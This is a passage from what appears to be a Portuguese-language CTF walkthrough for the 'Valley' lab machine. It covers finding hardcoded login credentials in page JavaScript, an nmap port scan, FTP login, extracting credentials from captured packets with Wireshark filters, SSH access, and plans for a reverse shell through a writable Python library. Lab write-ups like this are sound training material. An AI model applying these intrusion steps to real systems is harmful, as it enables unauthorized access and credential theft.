&lt;span class="nx"&gt;loginButton&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;loginForm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;loginForm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;siemDev&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;california&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/dev1243224123123/devNotes37370.txt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;loginErrorMsg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;opacity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Neste caso, temos a estilização do botão de login, uma função de validação de username mostrando as características necessárias para o username ser válido, sendo menor do que 5 caracteres e o campo de senha, no caso o password que realiza a validação da senha, neste se faz necessário uma senha com menos de  7 caracteres para ser válido. Entretanto, a informação mais importante é a exposição do username &lt;strong&gt;siemDev&lt;/strong&gt; e senha &lt;strong&gt;california&lt;/strong&gt;, além de mais uma nota deixada de forma aleatória pelo dev da Valley em um arquivo de texto &lt;strong&gt;/dev1243224123123/devNotes37370.txt&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;No /button.js temos a animação e estilização do botão  login.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;homeButton&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Get the button element&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;isAnimating&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Set initial animation state&lt;/span&gt;

&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;isAnimating&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;isAnimating&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Set animation state to true&lt;/span&gt;
    &lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;transform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;scale(1.2)&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Animate button size&lt;/span&gt;
    &lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;opacity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Animate button opacity&lt;/span&gt;
    &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;transform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;scale(1)&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Reset button size&lt;/span&gt;
      &lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;opacity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Reset button opacity&lt;/span&gt;
      &lt;span class="nx"&gt;isAnimating&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Set animation state back to false&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Animation duration in milliseconds&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/index.html&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Voltando para as informações mais importantes, no caminho &lt;strong&gt;/dev1243224123123/devNotes37370.txt&lt;/strong&gt; se tem mais uma ideia do primeiro caminho a ser tomado e uma etapa bem importante.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftleu8yk5galmxb9dlmab.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftleu8yk5galmxb9dlmab.png" alt="devNotes37370.txt" width="800" height="537"&gt;&lt;/a&gt;&lt;br&gt;
O primeiro ponto é que essa pessoa costuma reusar as credenciais, a única credencial que foi capturada é a &lt;strong&gt;siemDev&lt;/strong&gt; e isso significa que a mesma serve para a porta ftp dessa aplicação. No entanto, não se sabe qual seria a porta ftp, apesar da nota setar para essa possível resposta por não estar em seu "valor" usual, para isso o &lt;strong&gt;nmap&lt;/strong&gt; se faz necessário para tentar localizá-la e também verificar as outras portas disponíveis.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; alvo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feet5qmuf6iqoggx47nne.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feet5qmuf6iqoggx47nne.png" alt="nmap" width="580" height="144"&gt;&lt;/a&gt;&lt;br&gt;
A  porta ftp é justamente a porta &lt;strong&gt;37370&lt;/strong&gt;, informada para o dev e que está referenciada na nota da rota &lt;strong&gt;/devNotes37370.txt&lt;/strong&gt; . Com isso, apenas se faz necessário nesse momento realizar a conexão e adentrar a próxima etapa do ciclo do ataque.&lt;/p&gt;


&lt;h3&gt;
  
  
  Initial Compromise e Establish Foothold
&lt;/h3&gt;

&lt;p&gt;A partir do momento em que o invasor realiza esse tipo de ação e consegue o feito de obter acesso ao ftp, já temos ali um &lt;strong&gt;initial compromise&lt;/strong&gt; (comprometimento inicial) da aplicação, ainda que não seja o objetivo ideal é  justamente a partir desse princípio que terá a possibilidade de realizar uma elevação de privilégios por exemplo. Quando se pensa na etapa do &lt;strong&gt;establish foothold&lt;/strong&gt; (estabelecimento do ponto de apoio) é necessário algo que mantenha esse acesso. Nessa máquina em questão, a manutenção desse acesso se deu pela captura de pacotes de tráfego da rede, realizando a filtragem e análise desses pacotes com &lt;strong&gt;Wireshark&lt;/strong&gt; ou &lt;strong&gt;tcpdump&lt;/strong&gt;, em busca de credenciais que possam preservar esse acesso.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp &lt;span class="o"&gt;[&lt;/span&gt;ip] &lt;span class="o"&gt;[&lt;/span&gt;port]
ftp 00.00.000.00 37370
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80ytv2tast0wrsd1ecrd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80ytv2tast0wrsd1ecrd.png" alt="acesso ao ftp" width="354" height="176"&gt;&lt;/a&gt;&lt;br&gt;
Agora a questão é o que se tem ali e o que pode ser verificado? algo que possa ir contribuindo para o ciclo de ataque do intruso? Exatamente os pacotes de captura de tráfego, na porta ftp.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F53qjko0xmha10cs70frg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F53qjko0xmha10cs70frg.png" alt="pacotes de captura de tráfego" width="800" height="491"&gt;&lt;/a&gt;&lt;br&gt;
E o que foi feito no terminal acima? Primeiramente, a conexão com ftp, colocando as credenciais que foram adquiridas, usando o comando ls para verificar os arquivos ali presentes e por fim o comando mget *  para capturar esses arquivos do ftp para a própria máquina, podendo assim realizar uma analisa melhor desses pacotes. Caso tenha interesse, nesse site possui informações sobre os &lt;a href="**https://www.cs.colostate.edu/helpdocs/ftp.html**"&gt;comandos básicos do ftp&lt;/a&gt;.&lt;/p&gt;


&lt;h4&gt;
  
  
  Wireshark
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(http.request or tls.handshake.type eq 1) and !(ssdp)   

(http.request or tls.handshake.type eq 1 or (tcp.flags.syn eq 1 and tcp.flags.ack eq 0)) and !(ssdp)

(http.request or tls.handshake.type eq 1 or (tcp.flags.syn eq 1 and tcp.flags.ack eq 0) or dns) and !(ssdp)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;De forma bem breve, não explicando de maneira mais aprofundada sobre o assunto, a ideia aqui são as filtragens para visualizar melhor os arquivos capturados na porta ftp, que foi retirado de um &lt;a href="https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/" rel="noopener noreferrer"&gt;site indicado&lt;/a&gt; por um grande colega. O  &lt;strong&gt;(http.request or tls.handshake.type eq 1) and !(ssdp)&lt;/strong&gt; realiza a filtragem quanto a requisições de web (HTTP), e início de conexões seguras (TLS), mas ignorando os pacotes de dispositivos SSDP,  &lt;strong&gt;(http.request or tls.handshake.type eq 1 or (tcp.flags.syn eq 1 and tcp.flags.ack eq 0)) and !(ssdp)&lt;/strong&gt; realiza a filtragem incluindo os mesmos do primeiro, mas com a diferença de  incluir conexões TCP que estão tentando ser abertas (os pacotes SYN), mas sem o ACK. Quanto ao  &lt;strong&gt;(http.request or tls.handshake.type eq 1 or (tcp.flags.syn eq 1 and tcp.flags.ack eq 0) or dns) and !(ssdp)&lt;/strong&gt; inclui pacotes que envolvam o dns. Com isso temos a objetividade do que vamos analisar no tráfego e poder visualizar melhor a conversa entre os dispositivos de uma rede.&lt;/p&gt;

&lt;p&gt;No arquivo siemFTP.pcapng:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frob8zzao0rjdhmbwi2jv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frob8zzao0rjdhmbwi2jv.png" alt="arquivo siemFTP.pcapng" width="608" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;siemHTTP2.pcapng:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdgxo5quvbk1b58iit3dw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdgxo5quvbk1b58iit3dw.png" alt="arquivo siemHTTP2.pcapng" width="609" height="552"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Foram obtidos dois conteúdos interessantes, o primeiro é o anonymous, que é um login público e que quando um servidor ftp permite esse &lt;strong&gt;acesso anônimo&lt;/strong&gt;, o usuário pode conectar sem precisar de um nome de usuário ou senha, mas infelizmente essa possibilidade não foi concretizada, pois esse acesso anônimo foi desabilitado.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw46522gzu6fc15shrle2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw46522gzu6fc15shrle2.png" alt="anonymous" width="324" height="178"&gt;&lt;/a&gt;&lt;br&gt;
O segundo conteúdo é usuário &lt;strong&gt;valleyDev&lt;/strong&gt; e senha &lt;strong&gt;ph0t0s1234&lt;/strong&gt;, no entanto se você tentar acessá-lo na dinâmica de porta ftp irá receber um erro, em virtude de um mecanismo de segurança que impede esse acesso a este determinado usuário. A questão que fica é será  que não existe outro lugar para efetuar esse login? Se voltarmos a varredura de portas, lembraremos que a porta 22 do ssh está aberta.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ce0nkigd1zf6xogped8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ce0nkigd1zf6xogped8.png" alt="Porta 22 ssh" width="602" height="71"&gt;&lt;/a&gt;&lt;br&gt;
Por se tratar de  uma porta ssh, o mesmo necessita de um login e senha. É através dessa porta  que será feita a primeira escalada de privilégio, com as credenciais obtidas através da análise dos pacotes anteriores.&lt;/p&gt;


&lt;h3&gt;
  
  
  Escalate Privileges
&lt;/h3&gt;

&lt;p&gt;O &lt;strong&gt;escalate privileges&lt;/strong&gt; (elevação de privilégios) se deu por todo um processo de coleta de informações, com isso tendo as filtragens corretas e que fossem possíveis esse comprometimento maior da aplicação. A ideia a partir daqui é conseguir chegar até a raiz e no primeiro contato com a porta ssh, já teremos a primeira flag, no arquivo &lt;strong&gt;user.txt&lt;/strong&gt;, com a ajuda do usuário valleyDev.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82oxrv38qa4xt3hhngvo.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82oxrv38qa4xt3hhngvo.jpeg" alt="ssh valleyDev" width="800" height="384"&gt;&lt;/a&gt;&lt;br&gt;
Após esse primeiro contato poderia se pensar que a missão estaria finalizada para um possível invasor, porém a ideia é pensar no quanto é possível extrair das informações ali presentes e como efetivar essa escalada de privilégios até chegar no "super Admin" e ter acesso total.&lt;/p&gt;
&lt;h4&gt;
  
  
  Internal Recon
&lt;/h4&gt;

&lt;p&gt;Antes de pensar em outro processo de elevação desses privilégios, é importante ressaltar sobre a varredura das portas feita anteriormente e em como será a dinâmica nesse contexto, além de análise de usuários, etc.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5pftokkahy0937xhkmmx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5pftokkahy0937xhkmmx.png" alt="Porta 22 ssh" width="622" height="55"&gt;&lt;/a&gt;&lt;br&gt;
O serviço ssh dessa aplicação usa como sistema operacional o Linux.&lt;/p&gt;

&lt;p&gt;Durante esse processo de &lt;strong&gt;initial recon&lt;/strong&gt; (reconhecimento interno) e funcionamento do serviço se pode pensar sobre a questão dos usuários presentes no serviço e um bastante curioso é o usuário valley, que se tornará a ponte até o o root.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F63jf2r5p1lwu80w39dtg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F63jf2r5p1lwu80w39dtg.png" alt="valleyDev@valley" width="572" height="120"&gt;&lt;/a&gt;&lt;br&gt;
Existem dois pontos importantes dessa análise, o primeiro é o arquivo executável valleyAuthenticator, que foi compactado usando o upx. Esse é o ponto de partida para conseguir um usuário com um pouco mais de permissão.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2sez9js3liq84uf3qo5m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2sez9js3liq84uf3qo5m.png" alt="ELF 64 bits" width="800" height="180"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqrenm7dje1fgph1e75vr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqrenm7dje1fgph1e75vr.png" alt="UPX" width="800" height="357"&gt;&lt;/a&gt;&lt;br&gt;
O segundo é o diretório &lt;strong&gt;/usr/lib/python3.8/&lt;/strong&gt;, nele contém bibliotecas e módulos python. A partir dele podemos pensar em usar um reverse shell e tentar acesso ao root, mas para isso precisamos verificar um usuário que possa dar permissões adicionais que o usuário valleyDev não pode oferecer, para pelo menos editar algum arquivo .py vinculado a um super usuário que dê esse acesso final a raiz.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuf9d0nuum6yajh9bf2vt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuf9d0nuum6yajh9bf2vt.png" alt="arquivo base64.py" width="512" height="205"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftef91pnk5nqc8sgqg68e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftef91pnk5nqc8sgqg68e.png" alt="base64.py permission denied" width="800" height="544"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Move laterally e Maintain Presence
&lt;/h4&gt;

&lt;p&gt;A ideia do &lt;strong&gt;move laterally&lt;/strong&gt; (movimentação lateral ) e &lt;strong&gt;maintain presence&lt;/strong&gt; (manter presença) se dá pelo objetivo de conseguir um novo usuário que terá as permissões necessárias para chegar no objetivo final e esse processo se inicia na decodificação do valleyAuthenticator. A movimentação parte da exploração e comprometimento de outros sistemas na mesma rede ou infraestrutura, além do sistema atual que já possui o acesso, porém nesse contexto da máquina, o fato de obter um novo usuário que tenha certos privilégios acaba sendo esse movimento lateral, pois o mesmo terá recursos que o usuário valley não possuía. Enquanto a etapa de manter presença é justamente garantir esse acesso que se tem ao sistema comprometido e manter essa continuidade de ataque e até mesmo retorno ao sistema sem ter suas atividades finalizadas ou possibilidade de ser detectado.&lt;/p&gt;

&lt;p&gt;Nesse caso precisamos conseguir trazer o arquivo &lt;strong&gt;valleyAuthenticator&lt;/strong&gt; para a própria máquina e realizar a análise com a ferramenta &lt;strong&gt;upx&lt;/strong&gt; e  visualizar melhor o que será entregue e se existe algum tipo de informação que possa contribuir nessa etapa.&lt;br&gt;
Para realizar esse processo a utilização do comando pytho3 -m http.server porta, se faz necessário para que seja iniciado um servidor web bem simples com python e consiga capturar arquivos para própria máquina que está no serviço ssh.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;Terminal&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;porta&lt;/span&gt; &lt;span class="n"&gt;de&lt;/span&gt; &lt;span class="n"&gt;sua&lt;/span&gt; &lt;span class="n"&gt;escolha&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

